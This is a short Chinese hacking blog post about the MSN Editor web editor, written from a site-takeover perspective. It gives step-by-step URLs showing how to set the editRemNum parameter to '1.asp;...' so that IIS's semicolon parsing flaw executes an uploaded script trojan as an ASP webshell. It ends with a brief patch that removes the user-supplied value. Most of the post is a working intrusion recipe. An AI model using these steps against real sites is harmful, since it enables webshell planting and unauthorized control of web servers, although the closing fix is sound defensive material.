MSN Editor 网页编辑器漏洞

Hack 2010-07-23

在拿站的过程中有时候会遇到这种编辑器,它相当的简陋,没有管理后台,没有数据库备份,也没有什么可以直接上传webshell的地方,简陋到只有一个editor的界面。如下图:

MSN Editor网页编辑器

相信这个编辑器大家都见过,我记得雷池新闻系统用的就是这个编辑器,呵呵。下面我们来看看利用方法:

点击图片上传后会出现上传页面,地址为

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=

用普通的图片上传后,地址为
http://www.xxx.cn/news/uppic/41513102009204012_1.gif

记住这时候的路径

在点击图片的上传,这时候地址就变成了
http://www.xxx.cn/news/admin/uploadPic.asp?language=&editImageNum=1&editRemNum=41513102009204012

很明显。图片的地址是根据RemNum后面的编号生成的。

利用很简单 配合IIS的解析漏洞,把RemNum后面的数据修改为1.asp;41513102009204012

变成下面这个地址

http://www.xxx.cn/admin/uploadPic.asp?language=&editImageNum=0&editRemNum=1.asp;41513102009204012

然后在浏览器里打开

然后选择你的脚本木马上传

将会返回下面的地址
uppic/1.asp;41513102009204012_2.gif

然后直接打开就是我们的小马地址!

加上修补方法

关键代码:

             if editRemNum<>"" then               
                remNum = editRemNum
             else
                Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"
          end if

哎,先不讲解了 。

去掉自定义部分,只留下随即参数即可。

保留代码:

                Randomize
                remNum = Int((999 - 1 + 1) * Rnd + 1)&day(date)&month(date)&year(date)&hour(time)&minute(time)&second(time)
             end if
             remFileName = remNum&"_"&(editImageNum+1)&".gif"